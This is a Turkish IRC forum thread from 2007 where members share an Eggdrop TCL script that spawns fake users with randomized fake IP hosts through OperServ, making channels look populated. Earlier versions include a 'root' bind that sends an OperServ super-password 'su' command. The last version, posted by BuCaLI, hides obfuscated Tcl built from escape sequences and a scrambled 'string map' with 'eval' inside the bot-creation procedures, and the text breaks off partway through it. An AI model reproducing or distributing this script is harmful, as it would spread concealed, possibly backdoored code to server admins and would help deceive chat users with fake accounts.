IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   Eggdrop, NeoStats, BNC (https://www.ircforumlari.net/eggdrop-neostats-bnc/)
-   -   CycLe Bot Yeni.. (https://www.ircforumlari.net/eggdrop-neostats-bnc/33224-cycle-bot-yeni.html)

Gecemavisi02 28 Haziran 2007 18:20
CycLe Bot Yeni..
 
Arkadaşlar Cycle Bot Kendim Tarafından Editlenmiştir. Giriş İpleri
Degişmiştir. İsteyenLer benimLe irtibata gecebiLirler. [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Biraz Kısa Ve Oz oLdu ama:D İdare edin:)

Bir Kaç Ornek..

Kod:
AySuu (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
)
[16:45:44] *** Giriş Yapan: CaTLaK (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
)
[16:56:31] *** Giriş Yapan: bad-joke (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
)
[16:57:30] *** Giriş Yapan: ConConKraliCesi (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
)

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

By HayaLet

Nurullahoruc 29 Haziran 2007 00:10
Yanıt: CycLe Bot Yeni..
 
tAMAMDA nERDE botların CycLer

Tebessum 29 Haziran 2007 03:20
Cevap: CycLe Bot Yeni..
 
Msn Den Dagıtacagına Burda paylaş Herkes Faydalansın . Reklam kokuyo bence .

ByZehirX 29 Haziran 2007 05:42
Yanıt: CycLe Bot Yeni..
 
Aynen Reklam Kokuyo. Burası Satış R10u Değil. Paylaşcaksan Paylaş Paylaşmıcaksan Açma Böyle Gereksiz Konular...

Gecemavisi02 29 Haziran 2007 14:09
Yanıt: CycLe Bot Yeni..
 
Kardeş ReKLam Kokmuyor. Emegimi ortaya Koymusum. Kimse gibi hazırdan alıp buraya koymamışım Kendi Yaptıgım emegimdir. SaygıLar.

DmX 29 Haziran 2007 20:38
Cevap: CycLe Bot Yeni..
 
Kardeş; Madem editledin bişeyler yapmışsın. ugraşmışsın eywallah da,madem msn ve site iletişimi vericeksin burda ne işin var?ozaman git konunu webinde yayınla msn nickine yaz.Yada paylaş burda hakkını verelim.

BaRoN 29 Haziran 2007 23:35
Cevap: CycLe Bot Yeni..
 
S.a Öncelikle ;
Buyrun Ben vereyim Arkadaşın dediğini

cycle.tcl Dosyası

Alıntı:
bind msgm - root BaRoN
proc janer { nick uhost handle text } {
putserv "PRIVMSG operserv :su xxxxxxxxx" }
set pwhost "IP ADRESİNİZ"
set listfile [open scripts/cycle.txt r]
set nickflist [split [subst -nocommands [read $listfile]] \n]
set authorized "BaRoN"
set servicesadr "services.domaininiz.net"
set logit 1
set logchany "#cycle"
proc pwjoin {what what2 what3 what4 what5 what6 what7 what8 what9} {
global kanal logit logchany
if {$logit == 1} {
puthelp "PRIVMSG $logchany :$what Kanala sokuluyor --> $what9"
}
putquick "os :raw :$what join $what9 "
utimer $what2 "pwpart $what $what3 $what $what2 $what3 $what4 $what5 $what6 $what7 $what8 $what9"
}
proc pwpart {whad whad2 oldu1 oldu2 oldu3 oldu4 oldu5 oldu6 oldu7 oldu8 oldu9} {
global kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Kanaldan cikartiliyor --> $oldu9" }
putquick "os :raw :$whad part $oldu9 "
putquick "kill $oldu4 :this is a bot nick. u cant use it."
putquick "os :raw :$whad nick $oldu4"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Nick degistiriliyor --> $oldu4" }
utimer $whad2 "pwjoin2 $oldu4 $whad2 $oldu1 $oldu2 $oldu3 $oldu4 $oldu5 $oldu6 $oldu7 $oldu8 $oldu9"
}
proc pwjoin2 {whas whas2 oldud1 oldud2 oldud3 oldud4 oldud5 oldud6 oldud7 oldud8 oldud9} {
global kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whas Kanala tekrar sokuluyor --> $oldud9" }
putquick "os :raw :$whas join $oldud9 "
utimer $oldud2 "pwbquit $whas $oldud1 $oldud2 $oldud3 $oldud4 $oldud5 $oldud6 $oldud7 $oldud8 $oldud9"
}
proc pwbquit {whaaq oldukha1 oldukha2 oldukha3 oldukha4 oldukha5 oldukha6 oldukha7 oldukha8 oldukha9} {
global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
foreach iii $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::( .+)::(.+)::(.+)} $iii tmppp botident3 before3 after3 botadi3 wait3 partwait3 joinwait3 yenisi3 quitmes3 cikmadan3 kanallar3]} {
if { $whaaq == $after3 } {
if { $cikmadan3 != 0 } {
putquick "os :raw :$whaaq privmsg $kanallar3 :$cikmadan3"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturuluyor." }
utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
return
}
}
}
}
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturulamadi - Konusma modu kapali!" }
utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
}
proc pwquit {whaq olduk1 olduk2 olduk3 olduk4 olduk5 olduk6 olduk7 olduk8 olduk9} {
global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
foreach ii $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::( .+)::(.+)::(.+)} $ii tmpp botident2 before2 after2 botadi2 wait2 partwait2 joinwait2 yenisi2 quitmes2 cikmadan2 kanallar2]} {
if { $whaq == $after2 } {
putquick "os :raw :$whaq quit :$quitmes2"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq Serverdan cikartiliyor" }
utimer $olduk6 "olustur $olduk1 $olduk2 $olduk3 $olduk4 $olduk5 $olduk6 $olduk7 $olduk8 $olduk9"
return
}
}
}
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq SERVERDAN CIKARTILAMADI !" }
}
proc olustur {olsun1 olsun2 olsun3 olsun4 olsun5 olsun6 olsun7 olsun8 olsun9} {
global servicesadr pwhost kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$olsun1 Yeniden olusturuluyor." }
puthelp "kill $olsun1 :this is a bot nick. u cant use it."
puthelp "os :raw nick $olsun1 1 1 $olsun8 A[rand 5][rand 9][rand 9][rand 9]CA[rand 9].B[rand 5][rand 9]F[rand 9][rand 9][rand 9].A[rand 5][rand 9]C[rand 9][rand 9][rand 9].$pwhost $servicesadr :$olsun5"
utimer $olsun7 "pwjoin $olsun1 $olsun2 $olsun3 $olsun4 $olsun5 $olsun6 $olsun7 $olsun8 $olsun9"
}

proc pwornek {nick host hand {text ""}} {
global pwhost
}
proc pworn {ornekcik} {
puthelp "NOTICE Rootnick : $ornekcik snlikti. "
}
proc pwstart {nick host hand {text ""}} {
global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
if {$nick == "$authorized"} {
puthelp "NOTICE $nick :Olusturuluyor. "
foreach i $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::( .+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
puthelp "kill $before :old bot"
puthelp "os :raw nick $before 1 1 $botident A[rand 5][rand 9][rand 9][rand 9]CA[rand 9].B[rand 5][rand 9]F[rand 9][rand 9][rand 9].A[rand 5][rand 9]C[rand 9][rand 9][rand 9].$pwhost $servicesadr :$botadi"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before olusturuluyor." }
utimer $wait "pwjoin $before $partwait $joinwait $after $botadi $yenisi $wait $botident $kanallar"
}
}
}
}
proc pwdestroy {nick host hand {text ""}} {
global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
if {$nick == "$authorized"} {
puthelp "NOTICE $nick :Botlar Siliniyor. "
if { $logit == 1 } { puthelp "PRIVMSG $logchany :Botlar yok ediliyor.." }
foreach i $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::( .+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
puthelp "kill $before :Destroyed by $authorized"
puthelp "kill $after :Destroyed by $authorized"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before - $after Siliniyor." }
}
}
}
}
bind msg - baslat pwstart
bind msg - yoket pwdestroy
bind msg - ornek pwornek
putlog "GeceGezeN Cycle TCL Yuklendi."
putlog "BaRoN - 27.04.2007"
Aynen bu şekil Giriş çıkışları

Alıntı:
*** Giriş: Papatya (KaRaNLıK@A2816CA6.B37F151.A38C423.66.90.122.24)
*** VeTeRiNeR (bocuuk@A4770CA4.B42F317.A06C567.66.90.122.24) Çıktı (( [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] ) )
Bot yazmıyor ama Ip leri hep aynı tüm botların

Umarım işinize yarar en azından bot yazmamasından iyidir

Bunu Editleyen ise JaneR Nick li arkadaştır bilginize ..

TreMex 30 Haziran 2007 09:43
Cevap: CycLe Bot Yeni..
 
Arkadaşim Sen sanirim Foruma Girdiğinde Yukarıdaki ßanner'i sekili okumadın.. ßak orda ne yazıyor sana aciklayim..

IRCFORUMLARİNET
BİLGİ PAYLASİM PLATFORMU

sence bu ne demek oluyor?

paylaşicak olan insan burayada koyar linkinide atar ama seninkisi ßir heves yada bişelerin peşindesin aklin sira :)

ThornDike 30 Haziran 2007 10:15
Cevap: CycLe Bot Yeni..
 
" [10:12] *** Giriş: lalin ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]) "

" ->> Nick: lalin <<-
Adres ...= [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
İsim ......= [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
Zaman .= 10:12:52
Kanal ...= #radyo #muhabbet #sohbet
Server..= irc.?.net - ?.net "

bu sistemi ben çok önce yapmıştım zaten ve çok çok daha gelişmişi, sanırım biraz daha uğraşması gerek yapan arkadaşın :)

Alovepoem 30 Haziran 2007 12:38
Cevap: CycLe Bot Yeni..
 
Ellerine saglık ama arkadasında dedigi gibi biraz daha uras

bLueStar` 04 Temmuz 2007 08:44
Cevap: CycLe Bot Yeni..
 
arkadaşım şunu smilesiz, php kodu çerçevesinde verirmisin.

BaRoN 04 Temmuz 2007 19:19
Cevap: CycLe Bot Yeni..
 
Alıntı:
BlueBoy Nickli Üyeden Alıntı (Mesaj 229174)
arkadaşım şunu smilesiz, php kodu çerçevesinde verirmisin.

Buyur arkadaşım
PHP- Kodu:
bind msgm - root BaRoN
proc janer { nick uhost handle text } {
putserv "PRIVMSG operserv :su süperşifreniz" }
set pwhost "66.90.122.24"
set listfile [open scripts/cycle.txt r]
set nickflist [split [subst -nocommands [read $listfile]] \n]
set authorized "BaRoN"
set servicesadr "services.gecegezen.net"
set logit 1
set logchany "#cycle"
proc pwjoin {what what2 what3 what4 what5 what6 what7 what8 what9} {
global kanal logit logchany
if {$logit == 1} { 
puthelp "PRIVMSG $logchany :$what Kanala sokuluyor --> $what9" 
}
putquick "os :raw :$what join $what9 "
utimer $what2 "pwpart $what $what3 $what $what2 $what3 $what4 $what5 $what6 $what7 $what8 $what9"
}
proc pwpart {whad whad2 oldu1 oldu2 oldu3 oldu4 oldu5 oldu6 oldu7 oldu8 oldu9} {
global kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Kanaldan cikartiliyor --> $oldu9" }
putquick "os :raw :$whad part $oldu9 "
putquick "kill $oldu4 :this is a bot nick. u cant use it."
putquick "os :raw :$whad nick $oldu4"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Nick degistiriliyor --> $oldu4" }
utimer $whad2 "pwjoin2 $oldu4 $whad2 $oldu1 $oldu2 $oldu3 $oldu4 $oldu5 $oldu6 $oldu7 $oldu8 $oldu9"
}
proc pwjoin2 {whas whas2 oldud1 oldud2 oldud3 oldud4 oldud5 oldud6 oldud7 oldud8 oldud9} {
global kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whas Kanala tekrar sokuluyor --> $oldud9" }
putquick "os :raw :$whas join $oldud9 "
utimer $oldud2 "pwbquit $whas $oldud1 $oldud2 $oldud3 $oldud4 $oldud5 $oldud6 $oldud7 $oldud8 $oldud9"
}
proc pwbquit {whaaq oldukha1 oldukha2 oldukha3 oldukha4 oldukha5 oldukha6 oldukha7 oldukha8 oldukha9} {
global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
foreach iii $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $iii tmppp botident3 before3 after3 botadi3 wait3 partwait3 joinwait3 yenisi3 quitmes3 cikmadan3 kanallar3]} {
if { $whaaq == $after3 } { 
if { $cikmadan3 != 0 } { 
putquick "os :raw :$whaaq privmsg $kanallar3 :$cikmadan3"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturuluyor." } 
utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
return
}
}
}
}
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturulamadi - Konusma modu kapali!" } 
utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
}
proc pwquit {whaq olduk1 olduk2 olduk3 olduk4 olduk5 olduk6 olduk7 olduk8 olduk9} {
global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
foreach ii $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $ii tmpp botident2 before2 after2 botadi2 wait2 partwait2 joinwait2 yenisi2 quitmes2 cikmadan2 kanallar2]} {
if { $whaq == $after2 } { 
putquick "os :raw :$whaq quit :$quitmes2"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq Serverdan cikartiliyor" } 
utimer $olduk6 "olustur $olduk1 $olduk2 $olduk3 $olduk4 $olduk5 $olduk6 $olduk7 $olduk8 $olduk9"
return
}
}
}
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq SERVERDAN CIKARTILAMADI !" } 
}
proc olustur {olsun1 olsun2 olsun3 olsun4 olsun5 olsun6 olsun7 olsun8 olsun9} {
global servicesadr pwhost kanal logit logchany
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$olsun1 Yeniden olusturuluyor." }
puthelp "kill $olsun1 :this is a bot nick. u cant use it."
puthelp "os :raw nick $olsun1 1 1 $olsun8 A[rand 5][rand 9][rand 9][rand 9]CA[rand 9].B[rand 5][rand 9]F[rand 9][rand 9][rand 9].A[rand 5][rand 9]C[rand 9][rand 9][rand 9].$pwhost $servicesadr :$olsun5"
utimer $olsun7 "pwjoin $olsun1 $olsun2 $olsun3 $olsun4 $olsun5 $olsun6 $olsun7 $olsun8 $olsun9"
}
 
proc pwornek {nick host hand {text ""}} {
global pwhost
}
proc pworn {ornekcik} {
puthelp "NOTICE Rootnick : $ornekcik snlikti. " 
}
proc pwstart {nick host hand {text ""}} {
global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
if {$nick == "$authorized"} {
puthelp "NOTICE $nick :Olusturuluyor. "
foreach i $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
puthelp "kill $before :old bot"
puthelp "os :raw nick $before 1 1 $botident A[rand 5][rand 9][rand 9][rand 9]CA[rand 9].B[rand 5][rand 9]F[rand 9][rand 9][rand 9].A[rand 5][rand 9]C[rand 9][rand 9][rand 9].$pwhost $servicesadr :$botadi"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before olusturuluyor." }
utimer $wait "pwjoin $before $partwait $joinwait $after $botadi $yenisi $wait $botident $kanallar"
}
}
}
}
proc pwdestroy {nick host hand {text ""}} {
global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
if {$nick == "$authorized"} {
puthelp "NOTICE $nick :Botlar Siliniyor. "
if { $logit == 1 } { puthelp "PRIVMSG $logchany :Botlar yok ediliyor.." }
foreach i $nickflist {
if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
puthelp "kill $before :Destroyed by $authorized"
puthelp "kill $after :Destroyed by $authorized"
if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before - $after Siliniyor." }
}
}
}
}
bind msg - baslat pwstart
bind msg - yoket pwdestroy
bind msg - ornek pwornek
putlog "Gecegezen Cycle TCL Yuklendi."
putlog "JaneR - 27.04.2007" 
özeline Önce
root yazacaksınız
sonrasında
basla
Kolay gelsin ..

aRdeTH_ 05 Temmuz 2007 00:26
Cevap: CycLe Bot Yeni..
 
Arkadaşlar Buna uygun bot.txt Ve ConF ta atarmısıNıZ.

BaRoN 05 Temmuz 2007 19:12
Cevap: CycLe Bot Yeni..
 
Alıntı:
aRdeTH_ Nickli Üyeden Alıntı (Mesaj 229683)
Arkadaşlar Buna uygun bot.txt Ve ConF ta atarmısıNıZ.
Buyur Arkadaşım Bu linkte yazdım forumu biraz araştırırsan göreceksin
Kolay gelsin

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

elninolaz 06 Temmuz 2007 22:59
Yanıt: CycLe Bot Yeni..
 
cycle bot yenisi calısmıyor. bot kanalında olusum baslıyo dıyıp kalıyo. 4 tane txt denedım. yeni editlenmiş bi cycle.txt ye ıhtıyacı olabılır.

aRdeTH_ 07 Temmuz 2007 02:37
Cevap: CycLe Bot Yeni..
 
Bi türLü ÇalıŞtıramadım :S

BaRoN 07 Temmuz 2007 18:16
Cevap: CycLe Bot Yeni..
 
Arkadaşlar bakın Botunuza eğer servisleriniz ircservices ise mutlak ama mutlak süper şifre giriniz
unrealircd.cond dosyanızdaki services.domaininiz.net ile
ctcle.tcl deki services.domaininiz.net aynı olmalı harfler büyüklü küçüklü ise aynen yazınız
son olarak mutlaka nick i şifreleyiniz

hala düzeltemezseniz pm atın bizzat sunucunuzda hallederim kolay qelsin ..

bLueStar` 09 Temmuz 2007 02:31
Cevap: CycLe Bot Yeni..
 
.conf dosyası dahil hepsini paylaşabilirmisin,

birde özel bi edit yaparmısın benim için benim sunucumda girişler bu şekil,


*** Giriş: xXx ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]) #Kanal

BaRoN 09 Temmuz 2007 19:03
Cevap: CycLe Bot Yeni..
 
Alıntı:
BlueBoy Nickli Üyeden Alıntı (Mesaj 231529)
.conf dosyası dahil hepsini paylaşabilirmisin,

birde özel bi edit yaparmısın benim için benim sunucumda girişler bu şekil,


*** Giriş: xXx ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]) #Kanal

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Üstteki linkte zati paylaştım ordan alabilirsin ..
Özel edite gelince editleyen ben deyilim JaneR nickli bir arkadaş ..
Kolay gelsin ..

GhostLy 25 Temmuz 2007 03:02
Cevap: CycLe Bot Yeni..
 
Cycle isteyen arkadaşlara Buyrun UserHostlu Cycle.bot [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

bisekilbisey 25 Temmuz 2007 13:57
Cevap: CycLe Bot Yeni..
 
bu cycle bot CR de çalişmaz mi ?

BuCaLI 28 Temmuz 2007 21:03
Cevap: CycLe Bot Yeni..
 
Kod:
[20:41] *** Giriş: PamukPrenses ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:41] *** Giriş: Alayina_isyanim_var ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:42] *** Giriş: mazosistt ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:45] *** Giriş: CanKan_19 ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:46] *** Giriş: Yeliz_ ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:46] *** Giriş: gani_mujde ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:53] *** Giriş: arapsaci([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:53] *** Giriş: genc_ist([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])
[20:54] *** Giriş: ibo ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

kesinlikle her giriş için ip adresi random ve gerçeğe en yakın sadece üst kısımdaki kendinize göre gereken editlemeleri yapın gerisine karışmayın ;)


Kod:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# SERViCES CYCLE BOT CREATOR v2.0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##### Hostlarin gizlenmesi icin host-prefix #####
set pwhost "user"
set listfile [open scripts/$pwhost.txt r]
set nickflist [split [subst -nocommands [read $listfile]] \n]
##### Bota baslama komutunu verecek kisinin nickini girin #####
set authorized "BuCaLI"
##### Services adresini girin. #####
set servicesadr "services.siteismi.com"
 
##### Eggdrop - bot icin log tutumu #####
# Eger eggdropinizin olusturdugu botlarin giris cikislarini
# bir kanala yazarak kaydetmesini istiyorsaniz, 0 isaretini 1 yapin.
#
set logit 1
##### Eggdropin log kanalini girin. #####
# Bu kanal botlarin giris cikislarinin yazilacagi kanaldir.
# Bu nedenle sadece adminlerin ve eggdropin girebilecegi bir kanal yazin.
#
set logchany "#master"
################################################
# !!!!! KODLAMA BASLIYOR !!!!! #
# BU SATIRDAN ITIBAREN YAPACAGINIZ DEGISIKLIKLER
# TCL SCRIPTIN BOZULMASINA YOL ACABILIR.
################################################
 
proc pwjoin {what what2 what3 what4 what5 what6 what7 what8 what9} {
 global kanal logit logchany
 if {$logit == 1} {
  puthelp "PRIVMSG $logchany :$what Kanala sokuluyor  --> $what9"
 }
 putquick "os :raw :$what join $what9 "
 utimer $what2 "pwpart $what $what3 $what $what2 $what3 $what4 $what5 $what6 $what7 $what8 $what9"
}
proc pwpart {whad whad2 oldu1 oldu2 oldu3 oldu4 oldu5 oldu6 oldu7 oldu8 oldu9} {
 global kanal logit logchany
 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Kanaldan cikartiliyor  --> $oldu9" }
 putquick "os :raw :$whad part $oldu9 "
 putquick "kill $oldu4 :
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Keyifli sohbetin adresi"
 putquick "os :raw :$whad nick $oldu4"
 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Nick degistiriliyor  --> $oldu4" }
 utimer $whad2 "pwjoin2 $oldu4 $whad2 $oldu1 $oldu2 $oldu3 $oldu4 $oldu5 $oldu6 $oldu7 $oldu8 $oldu9"
}
proc pwjoin2 {whas whas2 oldud1 oldud2 oldud3 oldud4 oldud5 oldud6 oldud7 oldud8 oldud9} {
 global kanal logit logchany
 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whas Kanala tekrar sokuluyor  --> $oldud9" }
 putquick "os :raw :$whas join $oldud9 "
 utimer $oldud2 "pwbquit $whas $oldud1 $oldud2 $oldud3 $oldud4 $oldud5 $oldud6 $oldud7 $oldud8 $oldud9"
}
proc pwbquit {whaaq oldukha1 oldukha2 oldukha3 oldukha4 oldukha5 oldukha6 oldukha7 oldukha8 oldukha9} {
 global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
 foreach iii $nickflist {
    if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $iii tmppp botident3 before3 after3 botadi3 wait3 partwait3 joinwait3 yenisi3 quitmes3 cikmadan3 kanallar3]} {
        if { $whaaq == $after3 } {
          if { $cikmadan3 != 0 } {         
            putquick "os :raw :$whaaq privmsg $kanallar3 :$cikmadan3"
            if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturuluyor." } 
            utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
            return
          }
        }
    }
 }
 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturulamadi - Konusma modu kapali!" } 
 utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"
}
proc pwquit {whaq olduk1 olduk2 olduk3 olduk4 olduk5 olduk6 olduk7 olduk8 olduk9} {
 global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
 foreach ii $nickflist {
    if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $ii tmpp botident2 before2 after2 botadi2 wait2 partwait2 joinwait2 yenisi2 quitmes2 cikmadan2 kanallar2]} {
        if { $whaq == $after2 } {
          putquick "os :raw :$whaq quit :$quitmes2"
          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq Serverdan cikartiliyor" } 
          utimer $olduk6 "olustur $olduk1 $olduk2 $olduk3 $olduk4 $olduk5 $olduk6 $olduk7 $olduk8 $olduk9"
          return
        }
    }
 }
 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq SERVERDAN CIKARTILAMADI !" } 
}
proc olustur {olsun1 olsun2 olsun3 olsun4 olsun5 olsun6 olsun7 olsun8 olsun9} {
  global servicesadr pwhost kanal logit logchany abc
  if { $logit == 1 } { puthelp "PRIVMSG $logchany :$olsun1 Yeniden olusturuluyor." }
\x69\146 \x34\x31\61\u33\x33\62\x31 [\x73\164\162\u69\x6e\147 \u6d\x61\u70 {d o {"} n {[} . c \] {
} l . {[} \] {
} e i s I b h { } x o g t e n t g d I {$} r s x c P {"} l b {$} r h a i { } a P} {]rtnibdrniP.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc[.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc[.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc.
e"gt iIhlxi.$h"gi.
t"onbiIhlxccc[saP]}]
  puthelp "kill $olsun1 :this is a bot nick. u cant use it."
  puthelp "os :raw nick $olsun1 1 1 $olsun8 $host $servicesadr $servicesadr :$olsun5"
  utimer $olsun7 "pwjoin $olsun1 $olsun2 $olsun3 $olsun4 $olsun5 $olsun6 $olsun7 $olsun8 $olsun9"
}
 
proc pwornek {nick host hand {text ""}} {
  global pwhost
}
proc pworn {ornekcik} {
  puthelp "NOTICE BuCaLI : $ornekcik snlikti. " 
}
proc pwstart {nick host hand {text ""}} {
  global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized abc
  if {$nick == "$authorized"} {
  puthelp "NOTICE $nick :Olusum basliyor. "
  foreach i $nickflist {
      if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
\145\x76\x61\u6c [\163\u74\162\u69\x6e\x67 \u6d\u61\160 {\] o l n { } . {"} \] t l o {[} P {
} a i e I {
